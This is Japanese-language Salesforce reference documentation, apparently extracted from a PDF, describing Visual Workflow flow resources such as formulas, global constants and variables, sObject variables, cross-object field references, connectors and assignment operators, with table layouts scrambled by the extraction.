フロー画面要素の選択肢項目のオプション
フローのリソース

フローの数式リソース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローの他のリソースと Salesforce 関数を使用して値を計算します。

説明項目

一意性の要件は、現在のフロー内の要素のみに適用さ
れます。異なるフローで使用されている場合、同じ一
意の名前を持つ 2 つの要素を使用できます。一意の名
前には、アンダースコアと英数字を使用できます。最
初は文字であること、空白は使用しない、最後にアン
ダースコアを使用しない、2 つ続けてアンダースコア
を使用しないという制約があります。

一意の名前

この数式を他のリソースと区別します。説明

数式で計算される値のデータ型。値のデータ型
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説明項目

小数点以下の桁数を制御します。18 以上にすることはできません。この項
目を空白にした場合、または 0 に設定した場合は、フローの実行時に整数
のみが表示されます。
[値のデータ型] が数値または通貨の場合に表示されます。

スケール

実行時にフローが評価する数式。返される値は [値のデータ型] と互換性
がある必要があります。

数式

メモ: 一部の数式の演算子は、Cloud Flow Designerではサポートされて
いません。

関連トピック:

数式の演算子と関数
フロー数式の制限
フローのリソース
フローでのクロスオブジェクト項目の参照

フローのグローバル定数リソース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

EmptyString、True、False など、システム指定の固定値です。

サポートされるデータ型グローバル定数

Boolean{!$GlobalConstant.True}

Boolean{!$GlobalConstant.False}

Text{!$GlobalConstant.EmptyString}

例: Boolean 変数を作成するときは、$GlobalConstant.True と
$GlobalConstant.False がサポートされます。ただし、Currency 変数を
作成するときはグローバル定数がサポートされません。

null と空の文字列
実行時に、{!$GlobalConstant.EmptyString} と null はそれぞれ個別の値として処理されます。次に例
を示します。
• テキスト項目またはリソースの値を空白のままにすると、実行時にその値は null になります。値を空の

文字列として処理する場合は、その値を {!$GlobalConstant.EmptyString} に設定します。
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• フロー条件については、is null 演算子を使用して値が null かどうかを確認します。2 つのテキスト変
数を比較する条件の場合は、デフォルト値が {!$GlobalConstant.EmptyString} に正しく設定されて
いること、あるいは空白のまま (null) であることを確認します。

関連トピック:

フローのリソース

Visual Workflow のグローバル変数

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザの ID や API セッション ID など、組織や実行ユーザに関する情報を参照で
きるシステム指定の変数です。Visual Workflow では、グローバル変数はフローの
数式でのみ使用できます。

例: {$!User.Id}を使用して、フローインタビューを実行しているユーザ
の ID に簡単にアクセスできます。

次のグローバル変数がフローの数式でサポートされています。データベースの
値が空の場合、対応する差し込み項目は空白値を返します。たとえば、組織の
[国] 項目に値が設定されていない場合、{!$Organization.Country}は空白値
を返します。

説明グローバル変
数

セッション ID の API URL を参照します。次の差し込み項目を使
用できます。

$Api

• Enterprise_Server_URL_xxx  — Enterprise WSDL SOAP エン
ドポイント。xxx は API のバージョンを示します。

• Partner_Server_URL_xxx  — Partner WSDL SOAP エンドポイ
ント。xxx は API のバージョンを示します。

• Session_ID

カスタム表示ラベルを参照します。このグローバル変数は、カ
スタム表示ラベルが組織で作成されている場合にのみ表示され
ます。
返される値はコンテキストユーザの言語設定によって異なりま
す。返される値は、優先順に次のいずれかとなります。

$Label

1. ローカル翻訳のテキスト
2. パッケージ翻訳のテキスト
3. マスタ表示ラベルのテキスト

会社に関する情報を参照します。$Organization

メモ: {!$Organization.UiSkin}は次の値を返します。
• Theme1  — 古い Salesforce テーマ
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説明グローバル変数

• Theme2  — Spring '10 より前に使用されていた Salesforce テーマ
• Theme3  — Spring '10 で導入された、従来の「Aloha」の Salesforce テーマ
• PortalDefault  — Salesforce カスタマーポータルのテーマ
• Webstore  — Salesforce AppExchange のテーマ

ライセンスの種類や名前など、現在のユーザのプロファイルに関する情報を参照しま
す。

$Profile

ヒント:

• プロファイル名を使用して、$Profile差し込み項目で標準プロファイルを参
照します。

• ユーザは、これらの差し込み項目を参照するフローを実行するときにプロファ
イル情報にアクセスする必要はありません。

「階層」型のカスタム設定を参照します。このグローバル変数は、階層カスタム設定が
組織で作成されている場合にのみ表示されます。「リスト」型のカスタム設定には、
Apex でのみアクセスできます。
階層カスタム設定では、次の 3 つの異なるレベルの値を使用できます。

$Setup

• 組織 — すべてのユーザのデフォルト値
• プロファイル — 組織の値を上書き
• ユーザ — 組織およびプロファイルの値を上書き
Salesforce では、実行中のユーザの現在のコンテキストに基づいて、このカスタム設定に
適した値が自動的に判別されます。

$System.OriginDateTimeは、01.01.00 00:00:00のリテラル値を表します。この
差し込み項目を使用して、日付/時間オフセット計算を実行します。

$System

フローインタビューを実行しているユーザに関する情報を参照します。たとえば、ユー
ザの ID または役職を参照します。

$User

ヒント:

• 現在のユーザは、フローを開始したユーザです。
• Web-to-ケースまたは Web-to-リードプロセスによってレコードが変更されたた

めにフローが開始された場合、現在のユーザは、[デフォルトのリード所有者]

または[デフォルトのケース所有者]です。

$User.UIThemeおよび $User.UIThemeDisplayedは、指定された Salesforce ページ上
で実行ユーザに表示されるデザインを識別します。これら 2 つの変数は、$User.UITheme

がユーザに表示すべきデザインを返し、$User.UIThemeDisplayedが実際のデザイン
を返すという点で異なります。たとえば、ユーザは Lightning Experience のデザインを表
示する設定と権限を持っている場合がありますが、そのデザインをサポートしていない
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説明グローバル変数

ブラウザを使用していると、旧バージョンの Internet Explorer などで
$User.UIThemeDisplayedが異なる値を返す場合があります。これらの差し込み項目
は、次の値のいずれかを返します。
• Theme1  — 古い Salesforce テーマ
• Theme2  — Salesforce Classic 2005 ユーザインターフェースのテーマ
• Theme3  — Salesforce Classic 2010 ユーザインターフェースのテーマ
• Theme4d  — 最新の「Lightning Experience」Salesforce のテーマ
• Theme4t  — Salesforce1 モバイル Salesforce のテーマ
• PortalDefault  — Salesforce カスタマーポータルのテーマ
• Webstore  — Salesforce AppExchange のテーマ

ロールの名前や ID など、現在のユーザのロールに関する情報を参照します。$UserRole

ヒント:

• 現在のユーザは、フローを開始したユーザです。
• Web-to-ケースまたは Web-to-リードプロセスによってレコードが変更されたた

めにフローが開始された場合、現在のユーザは、[デフォルトのリード所有者]

または[デフォルトのケース所有者]です。

フローの選択リスト選択肢リソース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

選択リスト項目または複数選択リスト項目の値から生成された選択肢のセット
を表します。

説明項目

一意性の要件は、現在のフロー内の要素のみに適用されま
す。異なるフローで使用されている場合、同じ一意の名前
を持つ 2 つの要素を使用できます。一意の名前には、アン
ダースコアと英数字を使用できます。最初は文字であるこ
と、空白は使用しない、最後にアンダースコアを使用しな
い、2 つ続けてアンダースコアを使用しないという制約が
あります。

一意の名前

このリソースを他のリソースと区別します。説明

選択肢の保存値のデータ型。値のデータ型

選択する項目のオブジェクト。オブジェクト

選択肢のリストの生成に使用する選択リスト項目または複
数選択リスト項目。

項目
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説明項目

選択肢が表示される順序を制御します。選択肢は、実行ユーザの言語に翻訳され
た選択リスト値に基づいて並び替えられます。

並び替え順

例: 取引先を作成するプロセスを簡略化するフローで、ユーザは会社の業種を特定します。
業種ごとに 1 つの選択肢を作成するのではなく、選択リスト選択肢をフローに追加して、ドロップダウン
リストにその選択肢を入力します。ユーザがこのフローを実行すると、選択リスト選択肢がデータベー
スで取引先オブジェクト (2) の [業種] 選択リスト項目 (1) のすべての値を検索します。

選択リスト選択肢は、スタンドアロンの選択肢リソースより設定が簡単なうえ、メンテナンスも簡便で
す。他のユーザが [取引先業種] 選択リストに新しいオプションを追加すると、フローにこれらの変更が自
動的に反映されるため、フローを更新する必要がありません。

制限事項
動的レコード選択肢とは異なり、次の操作は実行できません。
データベースから戻された値を除外する。

フローには常にその項目のすべての選択リスト値が表示されます。レコードタイプを使用して、ページレ
イアウトの選択リスト選択肢を絞り込んでいる場合も同じです。

各オプションの表示ラベルをカスタマイズする。
フローには常に各選択リスト値の表示ラベルが表示されます。

各オプションの保存値をカスタマイズする。
フローは常に各選択リスト値の API 値を保存します。

ナレッジの記事の選択リストはサポートされません。

翻訳した項目の表示ラベルと値
選択リスト項目を翻訳すると、次のようになります。
• 各選択肢の表示ラベルでは、実行ユーザの言語になっているバージョンの選択リスト値が使用されます。
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• 各選択肢の保存値では、組織のデフォルト言語になっているバージョンの選択リスト値が使用されます。

関連トピック:

フローの画面要素: 選択肢項目
フロー画面要素の選択肢項目のオプション
フローのリソース

フローの sObject コレクション変数リソース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

1 つ以上の Salesforce レコードの更新可能な項目値を保存します。

説明項目

一意性の要件は、現在のフロー内の要素のみに適用されま
す。異なるフローで使用されている場合、同じ一意の名前
を持つ 2 つの要素を使用できます。一意の名前には、アン
ダースコアと英数字を使用できます。最初は文字であるこ
と、空白は使用しない、最後にアンダースコアを使用しな
い、2 つ続けてアンダースコアを使用しないという制約が
あります。

一意の名前

この sObject コレクション変数を他のリソースと区別しま
す。

説明

sObject コレクション変数にフロー外からアクセスできるか
どうかを決定します。

入力/出力種別

• 非公開 — フロー内でのみ、割り当てて使用できます。
• 入力 — Visualforce コントローラまたはサブフロー入力を

使用して、フローの開始時に設定できます。
• 出力 — Visualforce コントローラと他のフローからアクセ

スできます。
デフォルト値は、Private です。

警告: 既存の変数の入力または出力アクセスを無効に
すると、フローをコールして変数にアクセスするアプ
リケーションやページの機能が停止する可能性があり
ます。たとえば、URL パラメータ、Visualforce コント
ローラ、サブフロー、プロセスから変数にアクセスで
きます。

フロー内で sObject 変数が表す、Salesforceレコードのタイプ。オブジェクト種別
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使用方法
sObject コレクションに値を入力後、このコレクションを参照してSalesforceデータベースのレコードを作成、更
新、または削除します。
ループ要素を使用して、コレクションの各項目を検証します。ループで項目を確認する場合、ループ変数とし
て指定する sObject 変数に項目の項目値がコピーされます。項目値の更新など、ループでコレクション項目を
変更する場合は、次の操作を実行します。
1. ループ内の要素でループ変数を更新するように設定する。
2. 変数の項目値を個別のコレクションに追加する。
新しい項目をコレクションの最後に追加 (割り当て要素) するか、コレクション内のすべての項目を置換 (高速
検索要素) できます。ただし、既存のコレクション項目は更新できません。この制限を回避するには、ループ
を繰り返し使用し、ループ変数の内容を別のコレクションに追加します。ループが完了すると、新しいコレク
ションの値で Salesforce レコードを更新できます。

関連トピック:

コレクションをループするサンプルフロー
フローのループ要素
フローのリソース

フローの sObject 変数リソース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce レコードの更新可能な項目値を保存します。

説明項目

一意性の要件は、現在のフロー内の要素のみに適用されま
す。異なるフローで使用されている場合、同じ一意の名前
を持つ 2 つの要素を使用できます。一意の名前には、アン
ダースコアと英数字を使用できます。最初は文字であるこ
と、空白は使用しない、最後にアンダースコアを使用しな
い、2 つ続けてアンダースコアを使用しないという制約が
あります。

一意の名前

この sObject 変数を他のリソースと区別します。説明

sObject 変数がフローの外からアクセスできるかどうかを決
定します。

入力/出力種別

• 非公開 — フロー内でのみ、割り当てて使用できます。
• 入力 — Visualforce コントローラまたはサブフロー入力を

使用して、フローの開始時に設定できます。
• 出力 — Visualforce コントローラと他のフローからアクセ

スできます。
たとえば、割り当て、レコードまたは高速作成、レコード
または高速検索、およびApexプラグインなどの要素による
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説明項目

同じフロー内での変数の割り当て方法や使用方法に、この項目が影響することは
ありません。
項目のデフォルト値は Private です。

警告: 既存の変数の入力または出力アクセスを無効にすると、フローをコー
ルして変数にアクセスするアプリケーションやページの機能が停止する可能
性があります。たとえば、URL パラメータ、Visualforceコントローラ、サブフ
ロー、プロセスから変数にアクセスできます。

フロー内で sObject 変数が表す、Salesforce レコードのタイプ。オブジェクト種別

使用方法
sObject 変数を作成する場合のデフォルト値は null です。sObject 変数の値を参照する前に、決定要素の is

null 演算子を使用して、sObject 変数に値があることを確認します。

関連トピック:

フローのリソース

フローのシステム変数

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

{!$Flow.CurrentDate}、{!$Flow.CurrentDateTime}、
{!$Flow.FaultMessage} など、実行中のフローインタビューに関するシステ
ム指定の値。

説明サポートされているリ
ソース種別

システム変数

システム変数を参照する
要素をフローインタ
ビューで実行する日付。

Text、Date、および
DateTime

{!$Flow.CurrentDate}

システム変数を参照する
要素をフローインタ
ビューで実行する日時。

Text、Date、および
DateTime

{!$Flow.CurrentDateTime}

実行時の問題をフロー管
理者がトラブルシュー

Text{!$Flow.FaultMessage}

ティングするのに役立つ
システム障害メッセー
ジ。
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例: コールセンターの担当者が社内でのみ使用するフローがあるとします。Salesforceデータベースとやり
とりするフロー要素ごとに、障害コネクタの対象画面があります。画面の [表示テキスト] 項目にシステム
障害メッセージを表示し、そのメッセージを IT 部門に提供するようフローユーザに指示します。
Sorry, but you can’t read or update records at this time.
Please open a case with IT, and include the following error message:
{!$Flow.FaultMessage}

関連トピック:

フローが失敗した場合の処理のカスタマイズ
フローのリソース

フローのテキストテンプレートリソース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

HTML 形式のテキストを保存します。

説明項目

一意性の要件は、現在のフロー内の要素のみに適用されま
す。異なるフローで使用されている場合、同じ一意の名前
を持つ 2 つの要素を使用できます。一意の名前には、アン
ダースコアと英数字を使用できます。最初は文字であるこ
と、空白は使用しない、最後にアンダースコアを使用しな
い、2 つ続けてアンダースコアを使用しないという制約があ
ります。

一意の名前

このテキストテンプレートを他のリソースと区別します。説明

テンプレートのテキスト。HTML を使用してテキストや差し
込み項目の書式を設定し、他のリソースからの情報を参照
します。

テキストテンプ
レート

例: イベントの参加者を登録するフローを設計しているとします。登録者の名前、住所、その他の情報が
含まれるテキストテンプレートを作成します。終了時にフローで送信する確認メールにそのテンプレー
トを使用します。

関連トピック:

フローのリソース
フローでのクロスオブジェクト項目の参照
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フローの変数リソース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローの実行時に更新できる値を保存します。

説明項目

一意性の要件は、現在のフロー内の要素のみに適用されま
す。異なるフローで使用されている場合、同じ一意の名前
を持つ 2 つの要素を使用できます。一意の名前には、アン
ダースコアと英数字を使用できます。最初は文字であるこ
と、空白は使用しない、最後にアンダースコアを使用しな
い、2 つ続けてアンダースコアを使用しないという制約が
あります。

一意の名前

この変数を他のリソースと区別します。説明

変数に割り当てられる値の型を決定します。データ型

小数点以下の桁数を制御します。18 以上にすることはでき
ません。この項目を空白にした場合、または 0 に設定した
場合は、フローの実行時に整数のみが表示されます。
[データ型]が Numberまたは Currencyに設定されている
場合にのみ表示されます。

スケール

変数がフローの外からアクセスできるかどうかを決定しま
す。

入力/出力種別

• 非公開 — フロー内でのみ、割り当てて使用できます。
• 入力 — Visualforce コントローラまたはサブフロー入力を

使用して、フローの開始時に設定できます。
• 出力 — Visualforce コントローラと他のフローからアクセ

スできます。
たとえば、割り当て、レコードまたは高速作成、レコード
または高速検索、およびApexプラグインなどの要素による
同じフロー内での変数の割り当て方法や使用方法に、この
項目が影響することはありません。
項目のデフォルト値は、変数が作成されたリリースまたは
API バージョンに応じて異なります。
• Private  - Summer '12 以降または APIバージョン 25.0 以降

で作成された変数の場合。
• Input and Output  - Spring '12 以前または API バージョ

ン 24.0 で作成された変数の場合。

警告: 既存の変数の入力または出力アクセスを無効に
すると、フローをコールして変数にアクセスするアプ
リケーションやページの機能が停止する可能性があり
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説明項目

ます。たとえば、URL パラメータ、Visualforceコントローラ、サブフロー、プ
ロセスから変数にアクセスできます。

フローの開始時の変数値を決定します。この項目を空白にすると、値が null に
なります。
デフォルト値は、選択リストおよび選択リスト (複数選択) 変数では使用できませ
ん。

デフォルト値

使用方法
変数はいつでも削除できます。削除した変数を使用した変数の割り当ては、null に設定されます。

関連トピック:

フローのリソース
フローの割り当て要素
フローの sObject 変数リソース
フローでのクロスオブジェクト項目の参照

フローでのクロスオブジェクト項目の参照

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローの作成時に、sObject 変数に保存された値に関連するレコードの項目を参
照できます。これを行うには、参照を手動で入力します。

フローでのクロスオブジェクト項目の参照のヒント
クロスオブジェクト項目値は、フローリソースを参照できる場所や値を手動
で入力できる場所であればどこでも有効です。クロスオブジェクト項目の参
照を使用するときには、実装に関する次のヒントに留意してください。
フローでのクロスオブジェクト項目の参照: 単純なリレーション
ほとんどのリレーションは単純です。たとえば、Case.AccountIdはケース
の親取引先に直接リンクします。項目のリレーションによってオブジェクト
が別の 1 つだけのオブジェクトに関連付けられることがわかっている場合
は、次の構文を使用します。
フローでのクロスオブジェクト項目の参照: 多態的なリレーション
一部の項目には、複数のオブジェクトとのリレーションがあります。これらのリレーションを多態的とい
います。たとえば、ケースでキューが有効になっている場合、ケースの所有者はユーザまたはキューのい
ずれにもできます。ケースから所有者 ID にトラバースする場合、特別な構文を追加して、「所有者」がど
のオブジェクトを指すかを指定します。
フローでのクロスオブジェクト項目の参照の例
この例では、契約の所有者を契約の取引先の所有者に更新する方法を示します。
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フローでのクロスオブジェクト項目の参照のヒント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

クロスオブジェクト項目値は、フローリソースを参照できる場所や値を手動で
入力できる場所であればどこでも有効です。クロスオブジェクト項目の参照を
使用するときには、実装に関する次のヒントに留意してください。
sObject 変数を作成し、そこから関連レコードの項目を参照する場合は、最初の
関連レコードの ID を変数に保存します。たとえば、商談の契約を参照するには、
sObject 変数に ContractIdを保存するか、割り当て要素を使用して ContractId

の値を追加します。

サポートされていないリレーション
クロスオブジェクト項目の参照では、次のリレーションはサポートされていま
せん。
• Lead.ConvertedAccount

• Lead.ConvertedContact

• Lead.ConvertedOpportunity

null 値の回避
フローインタビューのクロスオブジェクト式の途中に null 値があった場合、その参照を含む要素は失敗しま
す。式の最後の項目値が null の場合はその参照の実行に成功します。たとえば、取引先責任者を
{!sObjContact} に保存し、{!sObjContact}.Account.Name を参照します。フローは、保存された取引
先責任者の AccountIdが nullの場合 (参照する取引先がないため) は失敗しますが、関連する取引先の Name

が null の場合は成功します。
失敗するクロスオブジェクト参照が要素に含まれていて、障害パスが定義されていない場合、インタビュー全
体が失敗します。これを回避するには、次の操作を実行します。
• 式で参照する項目を Salesforce で必須にする。たとえば、式 {!sObjContact}.Account.Name の場合、取

引先責任者のページレイアウトで AccountId を必須にします。次に、別のフローを使用して、その項目
が null 値のレコードを検索して更新します。

• 決定要素の wasSet 演算子を使用して、式で参照される各項目に値があるかどうかを判別する。

クロスオブジェクト項目の参照と組織の制限
フローで参照するクロスオブジェクト項目は、組織の次の制限にはカウントされません。
• オブジェクトごとのクロスオブジェクトリレーション
• トランザクションごとの DML 操作
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フローでのクロスオブジェクト項目の参照: 単純なリレーション

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ほとんどのリレーションは単純です。たとえば、Case.AccountId はケースの
親取引先に直接リンクします。項目のリレーションによってオブジェクトが別
の 1 つだけのオブジェクトに関連付けられることがわかっている場合は、次の
構文を使用します。
関連レコードの項目を参照するには、次の構文を使用します。

{!sObjectVariable.objectName1.objectName2.fieldName}

各項目は次のとおりです。
• sObjectVariable は、開始位置となる sObject 変数の一意の名前です。
• objectName1 は、sObjectVariable のオブジェクト種別に関連するオブジェクトの API 名です。すべてのカス

タムオブジェクトの API 名は、末尾が __r になります。
• (省略可能) objectName2 は、objectName1 に関連するオブジェクトの API 名です。

式には少なくとも 1 つのオブジェクト名を含める必要があります。また、オブジェクトは必要なだけ追加
できます。

• fieldNameは、式の最後のオブジェクト上の参照する項目の名前です。すべてのカスタム項目の API 名は、
末尾が __c になります。

たとえば、{!sOv_Contact.Account.Id} は、フローの sObject 変数で表される取引先責任者レコードに関連
する取引先の ID を参照します。

フローでのクロスオブジェクト項目の参照: 多態的なリレーション

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

一部の項目には、複数のオブジェクトとのリレーションがあります。これらの
リレーションを多態的といいます。たとえば、ケースでキューが有効になって
いる場合、ケースの所有者はユーザまたはキューのいずれにもできます。ケー
スから所有者 ID にトラバースする場合、特別な構文を追加して、「所有者」が
どのオブジェクトを指すかを指定します。
関連レコードの項目を参照するには、次の構文を使用します。

{!sObjectVariable.polymorphicObjectName1:specificObjectName2.fieldName}

各項目は次のとおりです。
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• sObjectVariable は、開始位置となる sObject 変数の一意の名前です。
• polymorphicObject は、sObjectVariable のオブジェクト種別の多態的リレーションの API 名です。
• specificObjectName は、多態的リレーションから選択するオブジェクトの API 名です。
• fieldNameは、式の最後のオブジェクト上の参照する項目の名前です。すべてのカスタム項目の API 名は、

末尾が __c になります。
例: {!sObj_Case.Owner:User.Id} はケースを所有するユーザの ID を参照し、
{!sObj_Case.Owner:Queue.Id}はケースを所有するキューの ID を参照します。多態的な参照は、何回かの
トラバースの後 ({!sObj_Case.Account.Owner:User.Id}) や参照の途中
({!sObj_Case.Owner:User.Manager.Id}) にいつでも追加できます。

サポートされている多態的なリレーション
すべてのリレーションが多態的というわけではないため、項目が複数のオブジェクトにリンクできることが分
かっている場合のみ多態的な構文を使用することをお勧めします。次のリレーションがサポートされていま
す。
• Case.Source

• FeedItem.CreatedBy

• オブジェクト.Owner

オブジェクト では、Owner をユーザまたはキューに設定できます。Group.Owner と Queue.Owner はサ
ポートされていません。

sObject 変数を作成し、そこから関連レコードの項目を参照する場合は、最初の関連レコードの ID を変数に保
存します。たとえば、商談の契約を参照するには、sObject 変数に ContractId を保存するか、割り当て要素
を使用して ContractId の値を追加します。

フローでのクロスオブジェクト項目の参照の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

この例では、契約の所有者を契約の取引先の所有者に更新する方法を示します。
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例:

1. 高速検索要素を使用して、AccountId を含む契約の項目を varContract という sObject 変数に保存
します。

2. 決定要素を使用して、AccountId の値が varContract に設定されたことを確認します。
3. 高速検索を使用して、OwnerId を含む契約の取引先の項目を varAccount という別の sObject 変数に

保存します。
4. 決定要素を使用して、OwnerId の値が varAccount に設定されたことを確認します。
5. 割り当て要素を使用して、{!varContract.OwnerId} の値として

{!varContract.Account.OwnerId} を指定します。
6. 高速更新要素を使用して、更新された OwnerId 値を含む varContract 値を Salesforce の契約に書き

込みます。

フローコネクタ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コネクタで、フローが実行時に選択できるパスを決定します。Cloud Flow Designer

キャンバスでは、コネクタは、ある要素から別の要素を指す矢印のような外観
をしています。

説明例表示ラベル

次に実行する要素を示します。表示ラベルなし

決定結果の条件を満たしたときに実
行する要素を示します。

決定結果名
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説明例表示ラベル

待機要素で定義されたイベントが発生したときに
実行する要素を示します。

待機イベント名

前の要素がエラーになったときに実行する要素を
示します。

障害

ループ要素の反復ごとに最初に実行する要素を示
します。

次の要素

ループ要素がコレクションの最後まで反復し終え
た後に実行する要素を示します。

ループの終了

関連トピック:

フロー要素

フロー演算子

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

設定している内容に応じて演算子の動作が異なります。割り当て要素では、演
算子を使用してリソースの値を変更できます。フロー条件やレコード検索条件
では、演算子を使用して情報を評価したり、フローの操作の範囲を絞り込むこ
とができます。

フローの割り当て要素の演算子
選択したリソースの値を変更するには、割り当て要素の演算子を使用しま
す。
フロー条件の演算子
選択したリソースの値を検証するには、条件の演算子を使用します。条件
は、決定要素と待機要素で使用されます。
フローレコード検索条件の演算子
フローレコード検索条件を使用して、フローが実行されるレコードの範囲を絞り込みます。たとえば、レ
コード検索条件を使用して、Acme Wireless 取引先に関連付けられた取引先責任者のみを更新します。レコー
ドの更新要素を追加するときに、レコード検索条件を使用して親取引先が Acme Wireless の取引先責任者の
みに絞り込みます。
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フローの割り当て要素の演算子

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

選択したリソースの値を変更するには、割り当て要素の演算子を使用します。
サポートされる演算子については、[リソース] で選択するデータ型別に分類され
た次の参照を使用してください。
• Boolean

• コレクション
• 通貨
• Date

• 日付/時間
• 複数選択リスト
• 数値
• 選択リスト
• sObject

• テキスト

Boolean

Boolean リソースを新しい値に置き換えます。

例サポートされ
るデータ型

説明演算子

割り当て前: {!varBoolean} は false です。
割り当て: {!varBoolean} [次の文字列と一致する]
{!$GlobalConstant.True}

Boolean[変数] の値は、[値] で入力ま
たは選択した値に置き換えら
れます。

次の文字
列と一致
する

割り当て後: {!varBoolean} は true です。

コレクション
コレクション変数または sObject コレクション変数の値を置き換えるか (次の文字列と一致する)、変数の最後に
項目を追加します (加算)。

例サポートされ
るデータ型

説明演算子

割り当て前:同じデータ型
またはオブ

[変数] の値は、[値] で入力ま
たは選択した値に置き換えら
れます。

次の文字
列と一致
する

• {!collText} は Yellow, Green, Blue で
す。ジェクト種別

のコレクショ
ン
テキスト、選
択リスト、複

• {!collPicklist} は Blue, Red, Orange で
す。

割り当て: {!collText} [次の文字列と一致する]
{!collPicklist}
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例サポートされ
るデータ型

説明演算子

割り当て後: {!collText}は Blue, Red, Orange

です。
数選択リスト
のデータ型
は、相互に互
換性がありま
す。

割り当て前:同じデータ型
の変数または

コレクションの最後に、[値]

で入力または選択した値が新
規項目として追加されます。

加算
• {!collText} は Yellow, Green, Blue で

す。同じオブジェ
クト種別の
sObject 変数
テキスト、選
択リスト、複

• {!varPicklist} は Red です。
割り当て: {!collText} [加算] {!varPicklist}

割り当て後: {!collText} は Yellow, Green,

Blue, Red です。数選択リスト
のデータ型
は、相互に互
換性がありま
す。

通貨と数値
通貨または数値リソースの値を置換 (次の文字列と一致する)、加算 (加算)、または減算 (減算) します。

例サポートされ
るデータ型

説明演算子

割り当て前: {!varCurrency} は 10 です。
割り当て: {!varCurrency} [次の文字列と一致す
る] 7

[変数] の値は、[値] で入力ま
たは選択した数値に置き換え
られます。

次の文字
列と一致
する

• 通貨
• 数値

割り当て後: {!varCurrency} は 7 です。

割り当て前: {!varCurrency} は 10 です。
割り当て: {!varCurrency} [加算] 7

[変数] の値に、[値] で入力ま
たは選択した数値が加算され
ます。

加算 • 通貨
• 数値

割り当て後: {!varCurrency} は 17 です。

割り当て前: {!varCurrency} は 10 です。
割り当て: {!varCurrency} [減算] 7

[変数] の値から、[値] で入力
または選択した数値が減算さ
れます。

減算 • 通貨
• 数値

割り当て後: {!varCurrency} は 3 です。
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Date

日付/時間リソースの値を置換 (次の文字列と一致する)、加算 (加算)、または減算 (減算) します。

例サポートされ
るデータ型

説明演算子

割り当て前: {!varDate} は 1/16/2016 です。
割り当て: {!varDate} [次の文字列と一致する]
1/15/2016

[変数] の値は、[値] で入力ま
たは選択した日付に置き換え
られます。

次の文字
列と一致
する

• 日付
• 日付/時間

割り当て後: {!varDate} は 1/15/2016 です。

割り当て前: {!varDate} は 1/16/2016 です。
割り当て: {!varDate} [加算] 7

選択された [変数] の値に、
[値] の日数が加算されます。

加算 • 通貨
• 数値

割り当て後: {!varDate} は 1/23/2016 です。

割り当て前: {!varDate} は 1/16/2016 です。
割り当て: {!varDate} [減算] 7

選択された [変数] の値から、
[値] の日数が減算されます。

減算 • 通貨
• 数値

割り当て後: {!varDate} は 1/9/2016 です。

日付/時間
日付/時間リソースを新しい値に置き換えます (次の文字列と一致する)。

例サポートされ
るデータ型

説明演算子

割り当て前: {!varDateTime} は 1/16/2016

01:00 です。
割り当て: {!varDateTime} [次の文字列と一致す
る] 1/16/2016 08:00

[変数] の値は、[値] で入力ま
たは選択した日付に置き換え
られます。

次の文字
列と一致
する

• 日付
• 日付/時間

割り当て後: {!varDateTime} は 1/16/2016

08:00 です。

選択リスト
選択リストリソースを新しい値に置き換えるか (次の文字列と一致する)、値を元の値に連結します (加算)。

メモ: 選択リストリソースに割り当てまたは追加される前に、値は文字列値に変換されます。
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例サポートされ
るデータ型

説明演算子

割り当て前: {!varPicklist} は Blue です。
割り当て: {!varPicklist} [次の文字列と一致す
る] Yellow

選択された選択リストの値
は、[値] で入力または選択し
た値に置き換えられます。

次の文字
列と一致
する

• Boolean

• 通貨
• 日付

割り当て後: {!varPicklist} は Yellow です。• 日付/時間
• 複数選択リ

スト
• 数値
• 選択リスト
• テキスト

割り当て前: {!varPicklist} は Blue です。
割り当て: {!varPicklist} [加算] -green

選択された選択リストの最後
に、[値] で入力または選択し
た値が追加されます。

加算 • Boolean

• 通貨
割り当て後: {!varPicklist} は Blue-green で
す。

• 日付
• 日付/時間
• 複数選択リ

スト
• 数値
• 選択リスト
• テキスト

複数選択リスト
